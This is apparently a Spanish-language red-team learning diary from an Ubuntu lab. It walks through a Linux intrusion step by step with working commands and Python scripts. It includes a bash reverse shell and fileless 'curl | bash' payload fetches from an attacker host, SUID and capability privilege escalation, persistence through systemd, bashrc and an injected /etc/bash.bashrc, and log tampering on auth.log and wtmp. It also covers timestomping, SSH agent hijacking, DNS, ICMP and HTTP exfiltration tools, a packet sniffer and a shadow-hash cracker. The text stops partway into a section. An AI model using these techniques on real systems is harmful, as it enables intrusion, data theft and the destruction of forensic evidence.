Se intentó inyectar un script de auditoría al final del archivo de configuración global de Bash.

*Preparación del Log:*
sudo touch /tmp/.access_log_hidden

sudo chmod 777 /tmp/.access_log_hidden

Objetivo: Crear un archivo con permisos universales de escritura (777) para evitar errores de permiso denegado.

*Inyección (Heredoc):*
sudo bash -c ‘cat <<EOF >> /etc/bash.bashrc

# CODIGO INYECTADO

echo “[ALERTA] Login detectado” >> /tmp/.access_log_hidden

EOF’

• bash -c: Ejecutar una cadena de comandos como root.

• <<EOF: Inicio de “Heredoc” (bloque de texto multilínea).

• >>: Append (Añadir al final del archivo sin borrar).

Análisis del Fallo (Troubleshooting)

A pesar de que el código aparece en /etc/bash.bashrc, el log no se escribe.

• Hipótesis 1 (Escapado de Variables): Al escribir a mano, es posible que las variables como $SSH_CONNECTION no se hayan “escapado” con una barra invertida (\$). Esto haría que Bash las interpretase mientras escribimos el comando (cuando están vacías), inyectando líneas vacías en el archivo final.

• Hipótesis 2 (Entorno SSH): Es posible que al reiniciar la sesión, el entorno no cargue /etc/bash.bashrc si la shell no es interactiva o si hay conflictos con .bash_profile.

Fase 18: Reconocimiento Invisible (/proc/net/tcp)

Objetivo

Enumerar puertos abiertos y conexiones activas leyendo directamente la memoria del Kernel, evadiendo la auditoría de comandos como `netstat` o `ss`.

1. Lectura de Datos Crudos (IPv4 e IPv6)

El Kernel expone la tabla de conexiones en hexadecimal. Debemos revisar ambos protocolos.

Comando: `cat /proc/net/tcp` (IPv4) y `cat /proc/net/tcp6` (IPv6).

Identificación Visual:

1. Buscar la columna **`st`** (Estado).

2. Filtrar visualmente el valor **`0A`** (Listening/Escuchando).

3. Anotar el valor hexadecimal después de los dos puntos en `local_address`.

* Ejemplo: `00000000:08AE` → El puerto hex es **08AE**.

2. Traducción de Datos (Hex → Decimal)

El sistema nos da el puerto en Hexadecimal. Para saber el número real (Decimal), usamos `printf`.

Sintaxis: Se debe añadir el prefijo `0x` para indicar que es base 16.

printf “%d\n” 0x08AE

# Salida: 2222

3. Identificación del Servicio

El Kernel solo conoce números de puerto, no nombres de aplicaciones (SSH, Apache, etc.).

Puertos Estándar: Consultar el “diccionario” del sistema.

grep -w “80” /etc/services

# Salida: http 80/tcp

Puertos Custom (ej. 2222): No aparecerán en `/etc/services`. Se requiere “Banner Grabbing” (conectarse al puerto y leer la cabecera) para identificarlos, o deducirlos por contexto.

Nota de Troubleshooting

En Ubuntu Server moderno, es común que SSH escuche solo en IPv6 (`tcp6`), utilizando “IPv4-mapped IPv6 addresses”. Por eso, si `/proc/net/tcp` parece vacío, la verdad suele estar en `/proc/net/tcp6`.

ACLARACIONES EXTRA

¿Por qué añadimos 0x delante? (0x08AE)

Es una cuestión de idioma matemático.

• Para ti, 08AE son letras y números.

• Para la terminal (Bash), 08AE es, por defecto, una cadena de texto (como decir “HOLA”).

• El comando printf “%d” espera un número.

Al poner 0x delante, le estás gritando a la terminal: “¡Oye! Lo que viene ahora no es texto, es un número en sistema HEXADECIMAL (Base 16)”.

• Sin 0x: Bash intenta leerlo y se confunde (o lo trata como texto).

• Con 0x: Bash dice “Ah, vale. La A vale 10, la E vale 14… voy a calcular”.

Regla de oro LOTL: Siempre que veas números hexadecimales en Linux y quieras operar con ellos, pégales un 0x delante.

¿Cómo identificar el servicio (SSH, Web, etc.)?

Aquí viene la cruda realidad de Linux: El archivo /proc/net/tcp NO sabe nombres de servicios.

El Kernel solo entiende de números (IPs y Puertos). No sabe qué es “SSH”, solo sabe que hay un programa escuchando en el puerto 2222. “SSH” es un nombre humano.

Para saber qué servicio es, tienes dos opciones LOTL:

Opción A: La Guía Telefónica (/etc/services) 📖

Linux tiene un archivo de texto que actúa como diccionario para traducir números a nombres.

Si has descubierto que el puerto decimal es 22 (o 80, o 443), haces esto:

grep -w “22” /etc/services

Salida: ssh 22/tcp → ¡Ajá! Es SSH.

El problema con tu puerto 2222: Como es un puerto personalizado que cambiamos nosotros por seguridad, NO vendrá en /etc/services. El sistema no sabe qué es.

Opción B: Deducción y “Banner Grabbing”

Si /proc te dice que el puerto 2222 está abierto, pero no sabes qué es, tienes que preguntarle al puerto.

Usaremos nc (si lo tuvieras) o nuestra herramienta Python (que ya tienes) o incluso telnet / curl.

Prueba rápida con Bash puro (si tienes acceso al puerto):

# Intenta conectar y ver si escupe texto (Banner)

timeout 2 bash -c ’</dev/tcp/127.0.0.1/2222 && cat <&0’

Si ves algo como SSH-2.0-OpenSSH…, ya sabes que es SSH.

Fase 19: Operación Fantasma (Log Tampering)

Objetivo

Eliminar rastros forenses de actividad (comandos ejecutados, inicios de sesión, escalada de privilegios) manipulando los archivos de log del sistema sin eliminarlos por completo.

1. Limpieza de Logs de Texto (Auth.log)

El archivo `/var/log/auth.log` contiene registros de `sudo`, SSH y autenticación.

Técnica: Usar `sed` para eliminar líneas específicas selectivamente.

Comando:

# Borra todas las líneas que contengan el usuario ‘sammi’

sudo sed -i ‘/sammi/d’ /var/log/auth.log

Resultado: El archivo conserva su tamaño y estructura, pero las entradas incriminatorias desaparecen.

Incidente: La Paradoja de la Limpieza

Situación: Al intentar borrar registros con `sed`, el contador de líneas aumentó en lugar de disminuir.

Causa: El comando falló por sintaxis, pero la ejecución con `sudo` generó nuevos logs de autenticación (+2 líneas), dejando más evidencia de la que había al principio.

Solución Aplicada (Método Grep-v):

En lugar de editar “in-place” (riesgo), se optó por reescribir el archivo:

1. `grep -v “usuario” log_original > log_limpio` (Extraer lo bueno).

2. `mv log_limpio log_original` (Reemplazar).

3. `systemctl restart rsyslog` (Refrescar demonio de logs).

Paso 1: Filtrar (Grep Inverso)

# “grep -v” significa: Dame todo lo que NO tenga esta palabra

# Lo guardamos en /tmp/limpio

sudo grep -v “sammi” /var/log/auth.log > /tmp/limpio

(Si aquí te da error de permiso, hazlo en dos pasos)

Paso 2: Sobreescribir (Machacar)

# Movemos el archivo limpio sobre el sucio

sudo mv /tmp/limpio /var/log/auth.log

Paso 3: Reiniciar el servicio (Para que suelte el archivo) A veces el sistema (rsyslog) se queda “enganchado” al archivo viejo.

sudo systemctl restart rsyslog

Paso 4: Verificar

sudo grep “sammi” /var/log/auth.log | wc -l

2. Evasión de Historial (Bash History)

El historial de comandos reside en memoria y se escribe en `~/.bash_history` al cerrar sesión.

Prevención (Amnesia): Evitar que la sesión actual se registre.

unset HISTFILE

Limpieza (Borrado): Vaciar el archivo existente.

cat /dev/null > ~/.bash_history && history -c

3. Manipulación de Binarios (WTMP)

El archivo `/var/log/wtmp` es leído por el comando `last`. Al ser binario, no se puede editar con editores de texto.

Técnica LOTL (Truncado):** Vaciar el contenido simulando una rotación de logs o corrupción.

sudo truncate -s 0 /var/log/wtmp

Limitación: Un archivo `wtmp` vacío puede levantar sospechas, pero elimina la evidencia de IPs conectadas anteriormente.

Fase 20: Interceptación de Red (Raw Sockets)

En ausencia de herramientas de diagnóstico como `tcpdump` o `wireshark`, un operador puede utilizar las librerías nativas de Python (`socket`, `struct`) para interactuar con la capa de red a bajo nivel. Los “Raw Sockets” permiten al script recibir paquetes completos, incluyendo las cabeceras IP que normalmente el sistema operativo filtra.

Resultado: Se logró interceptar tráfico TCP en tiempo real sin herramientas externas.

Script Utilizado (`sniff_lotl.py`)

El Código (Sniffer TCP Básico)

Este script captura paquetes IPv4/TCP y decodifica las direcciones de origen y destino.

import socket, struct

# Raw Socket: AF_INET (IPv4), SOCK_RAW (Crudo), IPPROTO_TCP (Solo TCP)

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

while True:

# Recibir paquete (65565 bytes de buffer máximo)

packet = s.recvfrom(65565)[0]

# Decodificar Cabecera IP (Primeros 20 bytes)

# Formato ’!BBHHHBBH4s4s’: Estructura estándar del header IPv4

ip_header = packet[0:20]

iph = struct.unpack(’!BBHHHBBH4s4s’, ip_header)

# Convertir bytes binarios a dirección IP legible (inet_ntoa)

src_ip = socket.inet_ntoa(iph[8]) # Byte offset para IP Origen

dst_ip = socket.inet_ntoa(iph[9]) # Byte offset para IP Destino

print(f”Paquete TCP: {src_ip} → {dst_ip}”)

Script en Python 3 utilizando `socket.SOCK_RAW` y `struct` para desempaquetar cabeceras IP.

¿Qué demonios es ’!BBHHHBBH4s4s’?

Esta cadena rara es vital. Le dice a Python cómo cortar la tarta de 20 bytes de la cabecera IP.

• !: “Network Endian” (El orden estándar de bytes en internet).

• B (Byte): 1 byte (Versión, Tipo de Servicio).

• H (Half-word): 2 bytes (Longitud total, ID).

• 4s (4 Strings/Bytes): Esto es la IP. Una IP son 4 números (ej: 192.168.1.1). Por eso 4s.

El mapa completo de la cabecera IP que estamos leyendo es así:

Tu código struct está extrayendo exactamente esos bloques.

Nota Técnica Crítica (Troubleshooting)

• Durante la ejecución, el sniffer parecía no capturar tráfico de `curl google.com`.

• Causa: El script estaba configurado para `AF_INET` (IPv4), pero Ubuntu Server intentaba conectar a Google vía IPv6 (`AF_INET6`), haciendo el tráfico invisible para el socket.

• Solución: Forzar el uso de IPv4 en el cliente para que el tráfico pase por el espectro que estamos escuchando.

curl -4 [https://www.google.com]{.underline}

Lección: En entornos “Dual Stack”, un sniffer LOTL básico debe especificar explícitamente qué protocolo IP escucha o implementar lógica para ambos.

Pasos para probarlo (Rigurosos)

1. Terminal 1: sudo python3 sniff_lotl.py

   • Debe decir: [*] Configurando Sniffer en: 192.168.X.X (Tu IP real).

2. Terminal 2: curl -4 http://www.google.com

   • OJO: Usa -4 siempre para esta prueba

¿Qué deberías ver? El sniffer debería detectar la respuesta de Google entrando a tu máquina. [TCP] 142.250.X.X → 192.168.X.X

(Nota técnica: En Linux, los Raw Sockets tipo AF_INET a veces solo capturan el tráfico ENTRANTE, no el SALIENTE, a menos que uses AF_PACKET, que es mucho más complejo. Por eso verás la respuesta de Google, pero quizás no tu petición de salida. Para un atacante, ver lo que entra es suficiente para robar cookies o respuestas).

Fase 21: Ataque de Credenciales (Cracking Local)

Nivel 6: Ataque de Credenciales (Cracking de Hashes)

Contexto Técnico

Has entrado al servidor. Eres root (o puedes leer archivos sensibles). Encuentras el archivo /etc/shadow donde están las contraseñas de todos los usuarios. Pero… están encriptadas (Haseadas). No puedes leerlas (“patata”), ves un churro ilegible ($6$kG8…).

Normalmente, un hacker copiaría ese archivo a su PC Gamer y usaría Hashcat con una tarjeta gráfica potente. El Reto LOTL: ¿Qué pasa si no puedes sacar el archivo? ¿Si estás en un servidor aislado? Tienes que romper la contraseña AHÍ MISMO, usando la CPU del servidor y Python.

El Objetivo

Vamos a simular que hemos robado un hash de /etc/shadow y vamos a crear un script en Python que pruebe miles de palabras por segundo hasta encontrar la clave.

Objetivo

Realizar un ataque de fuerza bruta contra un hash de contraseña SHA-512 local, utilizando Python nativo (`crypt`) para aprovechar la CPU del servidor comprometido.

#!/usr/bin/env python3

import crypt

import sys

import os

# CONFIGURACIÓN

archivo_hash = “hash.txt” # El archivo con la clave encriptada

archivo_dicc = “diccionario.txt” # El archivo con las palabras a probar

def crack_pass():

# 1. LEER EL HASH DEL ARCHIVO (Sin copiar/pegar)

try:

with open(archivo_hash, ‘r’) as f:

target_hash = f.read().strip() # .strip() quita espacios o saltos de línea sobrantes

print(f”[*] Objetivo cargado desde {archivo_hash}”)

print(f”[*] Hash a romper: {target_hash[:20]}…”) # Mostramos solo el principio

except FileNotFoundError:

print(f”[!] Error: No encuentro {archivo_hash}. Genéralo primero.”)

sys.exit()

# 2. ATAQUE DE DICCIONARIO

print(”[*] Iniciando fuerza bruta…”)

try:

with open(archivo_dicc, ‘r’) as f:

for palabra in f:

palabra = palabra.strip()

# Ciframos la palabra del diccionario usando la Salt del objetivo

h = crypt.crypt(palabra, target_hash)

if h == target_hash:

print(f”\n[!!!] ÉXITO: La contraseña es → {palabra}”)

return

print(“\n[X] Fracaso. La contraseña no está en el diccionario.”)

except FileNotFoundError:

print(f”[!] Error: No encuentro {archivo_dicc}”)

if __name__ == “__main__”:

crack_pass()

Procedimiento “Zero-Clipboard” (CLI Friendly)

En entornos de consola pura donde no existe portapapeles, no es viable copiar hashes largos dentro del código. Se utiliza almacenamiento en archivos intermedios.

1. Generación del Objetivo:

Usamos redirección de salida (`>`) para guardar el hash generado directamente en un archivo, evitando errores de transcripción manual.

python3 -c ‘import crypt; …’ > hash.txt

2. Preparación del Diccionario:

Crear `diccionario.txt` con posibles contraseñas candidatas.

3. Ejecución del Exploit (`cracker_cli.py`):

El script de Python está diseñado para leer `hash.txt` dinámicamente.

• Lee `hash.txt` y limpia saltos de línea (`strip()`).

• Itera sobre `diccionario.txt`.

• Usa `crypt.crypt(candidata, hash_objetivo)` para comparar.

Comando de Ejecución

python3 cracker_cli.py

Diario de Aprendizaje: Red Team Ops & Blue Team Architecture (Ubuntu Server)

• Operador: Sammi (SysAdmin & Redes)

• Enfoque: Living off the Land (LOTL), CLI Avanzada y Seguridad Bancaria (CIB).

• Referencia Base: RTFM - Red Team Field Manual v2 y Guías de Laboratorio.

MÓDULO A: RED TEAM OPERATIONS (OFENSIVA)

Fase 1: Reconocimiento de Red (Sin Nmap)

Objetivo: Mapear la red y puertos usando solo herramientas nativas de Bash.

1. Ping Sweep (Escaneo de Hosts Activos)

Script en una línea para descubrir qué IPs responden en la red local.

for x in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$x | grep “bytes from” | cut -d ” ” -f 4 | cut -d ”:” -f 1 >> ips.txt; done

Desglose Técnico:

• for x in $(seq 1 254): Bucle que itera del 1 al 254.

• ping -c 1: Count. Envía un solo paquete (vital para velocidad).

• -W 1: Wait. Espera máximo 1 segundo de respuesta (timeout) para no atascarse en IPs muertas.

• grep “bytes from”: Filtra solo las respuestas exitosas.

• cut: Limpia la salida para guardar solo la IP limpia en ips.txt.

2. Escaneo de Puertos (Netcat)

Usar nc como escáner de puertos TCP sigiloso.

nc -v -n -z -w 1 <IP_VICTIMA> 20-100

Desglose Técnico:

• -v: Verbose. Muestra “Connection Succeeded”. Sin esto, nc es silencioso.

• -n: No DNS. No resuelve nombres de dominio (acelera el escaneo).

• -z: Zero-I/O. Modo escaneo; solo “toca” el puerto sin enviar datos.

• -w 1: Wait. Timeout de 1 segundo.

3. Web Recon (Banner Grabbing)

Identificar versiones de servidor web y campos de formularios.

Cabeceras del servidor

curl -I http://<IP_OBJETIVO>

Búsqueda de campos de login (Input)

curl -s http://<IP> | grep -i “<input”

Fase 2: Acceso Inicial & Ejecución

Objetivo: Conseguir una shell remota o ejecutar código en memoria.

1. Reverse Shell (Bash Nativo)

El servidor víctima conecta hacia el atacante para evadir firewall de entrada.

bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1

bash -i: Inicia terminal interactiva.

/dev/tcp/…: Redirige la entrada y salida estándar a través de un socket TCP (funcionalidad nativa de Bash).

2. Ejecución Fileless (Solo RAM)

Descargar y ejecutar un script sin que toque el disco duro (evasión de antivirus).

curl -s http://ATACANTE/malware.sh | bash

O usando wget

wget -qO - http://ATACANTE/malware.sh | bash

| bash: El contenido descargado pasa directo al intérprete de comandos por tubería (pipe).

Fase 3: Escalada de Privilegios (PrivEsc)

Objetivo: Elevar privilegios de usuario estándar a root.

1. Enumeración de SUID

Buscar binarios que se ejecutan con permisos de su dueño (root).

find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null

• -perm -4000: Busca el bit SUID.

• 2>/dev/null: Descarta errores de permiso para limpiar la salida.

2. Explotación SUID (Caso Python)

Si Python tiene SUID, es trivial hacerse root.

/usr/bin/python3 -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

-p: Privileged. Evita que Bash suelte los permisos de root al iniciarse (crítico en sistemas modernos).

3. Abuso de Linux Capabilities (Backdoor Sigiloso)

Alternativa moderna al SUID. No se detecta con find -perm.

Preparación (Atacante):

cp /usr/bin/python3 /home/sammi/py3

sudo setcap cap_setuid+ep /home/sammi/py3

cap_setuid+ep: Otorga capacidad de cambiar UID (Effective + Permitted).

Ejecución (Víctima):

/home/sammi/py3 -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’

os.setuid(0): Cambia el ID del proceso actual a 0 (Root).

4. Cron Jobs Vulnerables

Si un script ejecutado por root es modificable (World Writable):

echo ‘cp /bin/bash /tmp/bash_root; chmod +s /tmp/bash_root’ > /path/to/script.sh

Al ejecutarse el cron, crea una shell SUID en /tmp.

Fase 4: Persistencia & Evasión

Objetivo: Mantener el acceso y ocultar huellas.

1. Persistencia vía Systemd

Crear un servicio falso que reinicie el malware automáticamente.

Archivo: /etc/systemd/system/network-opt-monitor.service

Configuración Clave: Restart=always

Troubleshooting (Error del Shebang ^M): Si el script falla con bad interpreter, es por formato de Windows. Solución nativa:

sudo sed -i ‘s/\r//’ /usr/local/bin/[script.sh]{.underline}

2. Persistencia vía .bashrc (Alias)

Modificar el perfil del usuario para ejecutar comandos al iniciar sesión.

echo “alias sudo=‘malware.sh; sudo’” >> ~/.bashrc

3. Anti-Forense: Timestomping

Falsificar fechas de modificación para ocultar malware.

touch -r /etc/passwd [malware.sh]{.underline}

-r: Copia la fecha del archivo de referencia (/etc/passwd) al malware.

4. Limpieza de Huellas

history -c # Borra historial de sesión actual

unset HISTFILE # Evita que se guarde nada más en esta sesión

Fase 5: Movimiento Lateral & Pivoting

Objetivo: Saltar a otros equipos o acceder a servicios ocultos.

1. SSH Port Forwarding (Túnel Local)

Acceder a un servicio interno (ej. puerto 8080) desde fuera.

ssh -p 2222 -L 9090:127.0.0.1:8080 sammi@127.0.0.1 -N -f

• -L 9090:127.0.0.1:8080**:** Lo que entre en mi puerto 9090, mándalo al 8080 de la víctima.

• -N: No ejecutar comandos (solo túnel).

• -f: Ejecutar en segundo plano (Background).

2. SSH Agent Hijacking (Secuestro de Sesión)

Usar las llaves de un administrador conectado para saltar a otro servidor sin contraseña.

Procedimiento:

• Localizar Socket: find /tmp/ -type s -name “agent.*” 2>/dev/null

• Secuestrar: export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.123

• Atacar: ssh -o StrictHostKeyChecking=no usuario@objetivo

Troubleshooting:

• Si dice “Agent has no identities”: La víctima no cargó sus llaves (ssh-add) antes de conectar con ssh -A.

• Si dice “No such file”: El socket ha expirado (la víctima se desconectó) o error al copiar ruta.

Fase 6: Exfiltración de Datos

Objetivo: Sacar información robada sorteando el firewall.

1. DNS Tunneling (Dig)

Para redes donde solo el puerto 53 (UDP) está abierto.

[BOTIN=$(cat secreto.txt | base64)]{.underline}

[dig +short $BOTIN.atacante.com]{.underline}

2. ICMP Tunneling (Ping)

Ocultar datos en el relleno de paquetes ping.

Lado Víctima (Conversión a Hex y Envío):

Ejemplo: Enviar “BD01” (Hex: 42443031)

ping -c 1 -p 42443031 <IP_ATACANTE>

-p: Patrón de relleno (payload).

• -c 1: Un solo paquete para evitar detección de anomalías de tráfico.

Lado Atacante (Escucha):

sudo tcpdump -i any -v -X icmp

• -X: Muestra el contenido en ASCII/Hex para leer el secreto.

Fase 22: Exfiltración Web (HTTP Tunneling)

Resultado

Se estableció un canal de comunicación unidireccional para exfiltrar archivos desde la víctima hacia el atacante a través del puerto 8000, simulando tráfico web legítimo

Infraestructura LOTL

1. **Servidor (Listener - `http_drop.py`):**

* Extiende `http.server.BaseHTTPRequestHandler` para manejar peticiones `POST`.

* Recibe el flujo de bytes (`self.rfile`) y lo escribe en disco.

* No requiere Apache/Nginx.

2. **Cliente (Payload - `envia_fichero.py`):**

* Utiliza `urllib.request` (nativa) en lugar de `requests` (externa).

* Lee el archivo objetivo en modo binario (`rb`) y lo envía en el cuerpo del POST

Valor Táctico

Supera las limitaciones de `scp` (falta de credenciales) y `ftp` (bloqueo de puertos), aprovechando que el tráfico HTTP saliente suele estar permitido en la mayoría de firewalls corporativos.

Exfiltración Web y Servidores Efímeros

Contexto Técnico

Imagina que has encontrado un archivo confidencial (database_passwords.txt) o quieres subir tu script cracker_cli.py a otro servidor de la red.

• Problema: SSH (scp) suele pedir contraseñas que no tienes, y FTP es prehistórico y a menudo está bloqueado.

• La Ventaja: El tráfico HTTP (Puerto 80/8080) suele estar permitido en los Firewalls internos porque todo el mundo necesita navegar por la web o actualizar el sistema.

El Objetivo

Vamos a construir un Túnel de Exfiltración HTTP usando solo Python.

1. Atacante (Server): Levantaremos un servidor HTTP personalizado que acepte subidas de archivos (POST), ya que el servidor simple de Python (http.server) es solo de lectura por defecto.

2. Víctima (Client): Usaremos un script para enviar el archivo secreto al atacante simulando ser una página web.

SCRIPTS

Terminal 1 (Atacante): Crea el archivo http_drop.py.

#!/usr/bin/env python3

import http.server

import socketserver

import sys

# CONFIGURACIÓN

PUERTO = 8000

class ExfilHandler(http.server.BaseHTTPRequestHandler):

# Esto maneja las peticiones POST (Subidas)

def do_POST(self):

# 1. Ver cuánto pesa el archivo que nos mandan

content_length = int(self.headers[‘Content-Length’])

# 2. Leer los datos

post_data = self.rfile.read(content_length)

# 3. Guardar en disco (como ‘exfiltrado.bin’)

print(f”\n[+] Recibiendo archivo de {content_length} bytes…”)

with open(“exfiltrado_loot.txt”, “wb”) as f:

f.write(post_data)

# 4. Responder a la víctima (200 OK)

self.send_response(200)

self.end_headers()

self.wfile.write(b”Archivo recibido correctamente”)

print(”[+] Guardado como ‘exfiltrado_loot.txt’”)

# Arrancar el servidor

try:

with socketserver.TCPServer(("", PUERTO), ExfilHandler) as httpd:

print(f”[*] Servidor de Exfiltración esperando en el puerto {PUERTO}…”)

httpd.serve_forever()

except OSError:

print(f”[!] Error: El puerto {PUERTO} está ocupado.”)

Ahora vamos a la Terminal 2 (Víctima). Supongamos que queremos robar el archivo hash.txt que creamos en el ejercicio anterior.

Como es LOTL, usaremos urllib (nativa) en lugar de requests (que hay que instalar).

Crea el archivo envia_fichero.py.

#!/usr/bin/env python3

import urllib.request

import sys

# CONFIGURACIÓN

ip_atacante = “127.0.0.1” # Cambia esto si usas dos máquinas

puerto = 8000

archivo_a_robar = “hash.txt” # El archivo que queremos sacar

url = f”http://{ip_atacante}:{puerto}”

print(f”[*] Intentando exfiltrar {archivo_a_robar} a {url}…”)

try:

# 1. Leer el archivo secreto en modo binario

with open(archivo_a_robar, “rb”) as f:

datos = f.read()

# 2. Preparar la petición POST

req = urllib.request.Request(url, data=datos, method=‘POST’)

# 3. Enviar

with urllib.request.urlopen(req) as response:

respuesta = response.read().decode(‘utf-8’)

print(f”[+] Servidor dice: {respuesta}”)

except FileNotFoundError:

print(”[!] Error: No encuentro el archivo secreto.”)

except Exception as e:

print(f”[!] Fallo en el envío: {e}”)

Fase 23: Escalada de Privilegios (Enumeración Automática)

Objetivo

Automatizar la búsqueda de vectores de escalada de privilegios (de usuario normal a Root) en el sistema comprometido, utilizando un script en Python nativo para detectar configuraciones inseguras sin depender de herramientas externas como *LinPEAS*.

Herramienta LOTL (`lin_enum.py`)

Script personalizado que utiliza la librería `subprocess` para ejecutar comandos de sistema (`find`, `uname`, `id`) y filtrar la salida en busca de:

1. Binarios SUID: Archivos ejecutables que corren con permisos de dueño (Root).

2. Permisos de Escritura: Archivos críticos en `/etc` modificables por todos.

3. Información de Usuario: Grupos y privilegios actuales.

Resultados del Análisis (Forense)

La ejecución del script arrojó dos hallazgos clave:

1. Vulnerabilidad Crítica (Configuración):

El usuario actual (`sammi`) pertenece al grupo **`sudo` (gid 27)**.

Impacto: Escalada trivial. El atacante no necesita exploits; tiene permisos administrativos legítimos para ejecutar `sudo su` y convertirse en Root.

2. Hardening del Sistema (Falsos Negativos):

El escaneo de binarios SUID (`find / -perm -u=s …`) devolvió “No se encontraron binarios accesibles”.

Análisis: Esto indica un entorno restringido donde el usuario no tiene permisos para leer directorios raíz, o un sistema con medidas de seguridad (Hardening) que ocultan o eliminan bits SUID innecesarios.

Valor Táctico

El script permite obtener una “radiografía” de seguridad del servidor en segundos. Aunque no halló fallos de software (SUID), identificó la vía de acceso administrativo directo.

Contexto Técnico

Ahora mismo somos sammi. Un usuario normal. Nuestro objetivo final en cualquier intrusión es ser ROOT (Dios).

Para ser root sin tener la contraseña, buscamos Configuraciones Erróneas. La más famosa en Linux es el SUID (Set User ID).

• ¿Qué es SUID? Es un permiso especial (una “s” en lugar de una “x”) en un archivo. Significa: “Cuando ejecutes este programa, hazlo con los permisos del DUEÑO (Root), no con los tuyos”.

• El Peligro: Si encontramos un programa como python, nmap o vim que tenga SUID activado, podemos usarlo para lanzar una shell… y esa shell será Root.

El Objetivo

Crear un script (lin_enum.py) que barra el sistema buscando estas “Joyas de la Corona” automáticamente. Es tu versión casera del famoso LinPEAS o LinEnum.

El Script: lin_enum.py

Este script usa subprocess para lanzar comandos de búsqueda (find) y filtrar la basura, presentándote solo lo interesante.

Copia, Pastebin y Wget (lin_enum.py).

#!/usr/bin/env python3

import subprocess

import os

import sys

# Colores para que parezca “Hacker” (y sea legible)

ROJO = ‘\033[91m’

VERDE = ‘\033[92m’

RESET = ‘\033[0m’

def ejecutar_comando(cmd):

try:

# Ejecutamos comando de shell y capturamos la salida

# stderr=DEVNULL es para que no muestre los errores de “Permiso denegado”

resultado = subprocess.check_output(cmd, shell=True, stderr=subprocess.DEVNULL)

return resultado.decode(‘utf-8’).strip()

except:

return ""

def imprimir_titulo(texto):

print(f”\n{VERDE}[+] --- {texto} ---{RESET}”)

def main():

print(f”{ROJO} ___ LINUX PRIV ESC ENUMERATOR (LOTL) ___{RESET}”)

# 1. INFORMACIÓN BÁSICA

imprimir_titulo(“INFORMACIÓN DEL SISTEMA”)

print(f”Kernel: {ejecutar_comando(‘uname -a’)}”)

print(f”Usuario actual: {ejecutar_comando(‘id’)}”)

print(f”Usuarios con consola: {ejecutar_comando(‘grep /bin/bash /etc/passwd | cut -d: -f1’)}”)

# 2. BÚSQUEDA DE SUID (La clave de la escalada)

# Buscamos archivos con permiso -4000 (SUID) propiedad de root

imprimir_titulo(“BINARIOS SUID (Potencial Escalada)”)

suid_bins = ejecutar_comando(“find / -perm -u=s -type f 2>/dev/null”)

if suid_bins:

for binario in suid_bins.split(‘\n’):

# Resaltamos binarios comunes peligrosos

if any(x in binario for x in [‘nmap’, ‘python’, ‘find’, ‘vim’, ‘bash’, ‘less’]):

print(f”{ROJO} → {binario} (PELIGROSO){RESET}”)

else:

print(f” {binario}”)

else:

print(“No se encontraron binarios SUID accesibles.”)

# 3. ARCHIVOS ESCRITURA MUNDIAL

imprimir_titulo(“ARCHIVOS ESCRITURA MUNDIAL (World Writable)”)

# Buscamos en /etc para ver si podemos editar configuración

writable = ejecutar_comando(“find /etc -maxdepth 2 -type f -perm -2 2>/dev/null”)

if writable:

print(writable)

else:

print(“No se encontraron archivos críticos editables en /etc.”)

print(f”\n{VERDE}[*] Análisis completado.{RESET}”)

if __name__ == “__main__”:

main()

Fase 24: Tácticas Avanzadas de Consola (Adaptación LOTL)

1. Borrado Seguro (shred)

El manual indica que shred sobrescribe el contenido con patrones aleatorios para dificultar la recuperación forense, a diferencia de rm que solo desvincula el archivo.

Comando:

shred -u -z -n 3 archivo_secreto.txt

Explicación Técnica:

• -n 3: Sobrescribe los datos 3 veces con basura aleatoria. (El manual menciona que sobrescribe múltiples veces ).

• -z (Zero): Después de meter basura, hace una pasada final escribiendo ceros para ocultar que el archivo fue triturado (parecerá un espacio vacío normal).

• -u (Remove): Borra el archivo del índice del disco al terminar. Si no pones esto, el archivo sigue existiendo pero lleno de basura.

Verificación (Prueba de Fuego): Vamos a crear un archivo, leerlo, destruirlo y comprobar que desapareció.

1. Crear prueba

echo “CONTRASEÑA_TOP_SECRET” > prueba_shred.txt

2. Verificar que existe

cat prueba_shred.txt

# (Salida: CONTRASEÑA_TOP_SECRET)

3. Ejecutar destrucción

shred -u -z -n 3 prueba_shred.txt

4. Intento de lectura (Debe fallar)

ls -l prueba_shred.txt

(Salida esperada: “No such file or directory”)

2. Reconocimiento de Metadatos (stat)

Tu manual describe stat como invaluable para auditorías, superando a ls.

Comando:

stat /etc/passwd

Explicación Técnica:

• Muestra tres tiempos críticos que ls simplifica demasiado:

  • Access (atime): Cuándo se leyó por última vez.

  • Modify (mtime): Cuándo cambió el contenido.

  • Change (ctime): Cuándo cambiaron los permisos o propietario.

• En LOTL, esto sirve para saber si alguien ha tocado un archivo recientemente o para verificar si nuestro intento de “Time Stomp” (falsificar fechas) funcionó.

Verificación:

1. Crear archivo

touch archivo_test

2. Ver estado inicial (Fíjate en “Modify”)

stat archivo_test

3. Modificar contenido

echo “hola” >> archivo_test

4. Verificar cambio

stat archivo_test

(Salida esperada: La hora de “Modify” debe ser unos segundos más reciente que en el paso 2).

3. Automatización Paralela (xargs)

El manual explica que xargs convierte la entrada estándar en argumentos para otro comando. La magia LOTL está en usarlo para multiproceso.

Comando:

cat lista_ips.txt | xargs -P 4 -I {} python3 escames.py {}

Explicación Técnica:

• -P 4: (Parallel) Esta es la joya. Le dice al sistema: “Ejecuta hasta 4 procesos a la vez”. Si tienes 100 IPs, en lugar de escanear una a una, escanea 4 en paralelo. Acelera el ataque x4.

• -I {}: Define un “placeholder” o variable. Le dice a xargs: “Donde veas {} en el comando siguiente, sustitúyelo por la línea que leíste del archivo de texto”.

Verificación (Simulación Inofensiva): Vamos a simular un proceso lento (hacer sleep) y ver cómo xargs lo acelera lanzándolos a la vez.

Creamos una lista falsa de 4 números

printf “1\n2\n3\n4\n” > numeros.txt

SIN PARALELISMO (Tardará 4 segundos: 1+1+1+1)

time cat numeros.txt | xargs -n 1 bash -c ‘sleep 1; echo “Hecho”’

CON PARALELISMO -P 4 (Tardará 1 segundo aprox, porque los lanza todos a la vez)

time cat numeros.txt | xargs -P 4 -n 1 bash -c ‘sleep 1; echo “Hecho Rápido”’

(Si el segundo comando tarda mucho menos que el primero, está funcionando el multihilo).

4. Vigilancia en Tiempo Real (watch)

